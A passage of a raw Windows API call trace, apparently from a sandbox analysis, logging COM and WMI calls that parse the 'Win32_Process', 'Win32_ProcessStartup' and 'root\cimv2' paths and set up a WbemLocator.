pInParams=0x1bf6a9d0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6ac80, ppCallResult=0x0) returned 0x0 [0074.618] IWbemClassObject:Get (in: This=0x1bf6ac80, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a139f8*=0, plFlavor=0x2a139fc*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa50, varVal2=0x0), pType=0x2a139f8*=19, plFlavor=0x2a139fc*=0) returned 0x0 [0074.618] IWbemClassObject:Get (in: This=0x1bf6ac80, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a139f8*=19, plFlavor=0x2a139fc*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa50, varVal2=0x0), pType=0x2a139f8*=19, plFlavor=0x2a139fc*=0) returned 0x0 [0074.619] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0074.619] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0074.619] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0074.619] IUnknown:Release (This=0x111f638) returned 0x1 [0074.621] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf76790) returned 0x0 [0074.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76790, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0074.621] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76790, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf6ede0) returned 0x0 [0074.621] WbemDefPath:IUnknown:Release (This=0x1bf76790) returned 0x0 [0074.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf6ede0) returned 0x0 [0074.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0074.622] WbemDefPath:IUnknown:AddRef (This=0x1bf6ede0) returned 0x3 [0074.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0074.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0074.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf767d0) returned 0x0 [0074.622] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf767d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.622] WbemDefPath:IUnknown:Release (This=0x1bf767d0) returned 0x3 [0074.622] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0074.622] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0074.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0074.622] WbemDefPath:IUnknown:Release (This=0x1bf6ede0) returned 0x2 [0074.622] WbemDefPath:IUnknown:Release (This=0x1bf6ede0) returned 0x1 [0074.622] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0074.622] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ede0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf6ede0) returned 0x0 [0074.622] WbemDefPath:IUnknown:AddRef (This=0x1bf6ede0) returned 0x3 [0074.622] WbemDefPath:IUnknown:Release (This=0x1bf6ede0) returned 0x2 [0074.622] WbemDefPath:IWbemPath:SetText (This=0x1bf6ede0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0074.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ede0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.622] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ede0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0074.622] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ede0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0074.622] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6ede0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ede0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.623] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6ede0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.623] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0074.623] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0074.623] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0074.623] IUnknown:Release (This=0x111f638) returned 0x1 [0074.625] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf76810) returned 0x0 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0074.626] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf6eea0) returned 0x0 [0074.626] WbemDefPath:IUnknown:Release (This=0x1bf76810) returned 0x0 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf6eea0) returned 0x0 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0074.626] WbemDefPath:IUnknown:AddRef (This=0x1bf6eea0) returned 0x3 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0074.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf76850) returned 0x0 [0074.626] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76850, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.626] WbemDefPath:IUnknown:Release (This=0x1bf76850) returned 0x3 [0074.626] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0074.626] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0074.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0074.627] WbemDefPath:IUnknown:Release (This=0x1bf6eea0) returned 0x2 [0074.627] WbemDefPath:IUnknown:Release (This=0x1bf6eea0) returned 0x1 [0074.627] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0074.627] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eea0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf6eea0) returned 0x0 [0074.627] WbemDefPath:IUnknown:AddRef (This=0x1bf6eea0) returned 0x3 [0074.627] WbemDefPath:IUnknown:Release (This=0x1bf6eea0) returned 0x2 [0074.627] WbemDefPath:IWbemPath:SetText (This=0x1bf6eea0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eea0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eea0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eea0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6eea0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eea0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6eea0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eea0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0074.627] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.627] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0074.627] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0074.627] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0074.627] IUnknown:Release (This=0x111f638) returned 0x1 [0074.629] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf76890) returned 0x0 [0074.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76890, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0074.629] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76890, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf6ef60) returned 0x0 [0074.629] WbemDefPath:IUnknown:Release (This=0x1bf76890) returned 0x0 [0074.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf6ef60) returned 0x0 [0074.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0074.630] WbemDefPath:IUnknown:AddRef (This=0x1bf6ef60) returned 0x3 [0074.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0074.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0074.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf768d0) returned 0x0 [0074.630] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf768d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.630] WbemDefPath:IUnknown:Release (This=0x1bf768d0) returned 0x3 [0074.630] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0074.630] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0074.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0074.630] WbemDefPath:IUnknown:Release (This=0x1bf6ef60) returned 0x2 [0074.630] WbemDefPath:IUnknown:Release (This=0x1bf6ef60) returned 0x1 [0074.630] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0074.630] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0074.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ef60, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf6ef60) returned 0x0 [0074.630] WbemDefPath:IUnknown:AddRef (This=0x1bf6ef60) returned 0x3 [0074.630] WbemDefPath:IUnknown:Release (This=0x1bf6ef60) returned 0x2 [0074.631] WbemDefPath:IWbemPath:SetText (This=0x1bf6ef60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0074.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ef60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.631] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ef60, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.631] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ef60, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.631] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0074.631] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0074.631] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0074.631] IUnknown:Release (This=0x111f638) returned 0x1 [0074.632] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf769d0) returned 0x0 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0074.632] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf769d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf769f0) returned 0x0 [0074.632] WbemLocator:IUnknown:Release (This=0x1bf769d0) returned 0x0 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf769f0) returned 0x0 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0074.632] WbemLocator:IUnknown:AddRef (This=0x1bf769f0) returned 0x3 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, 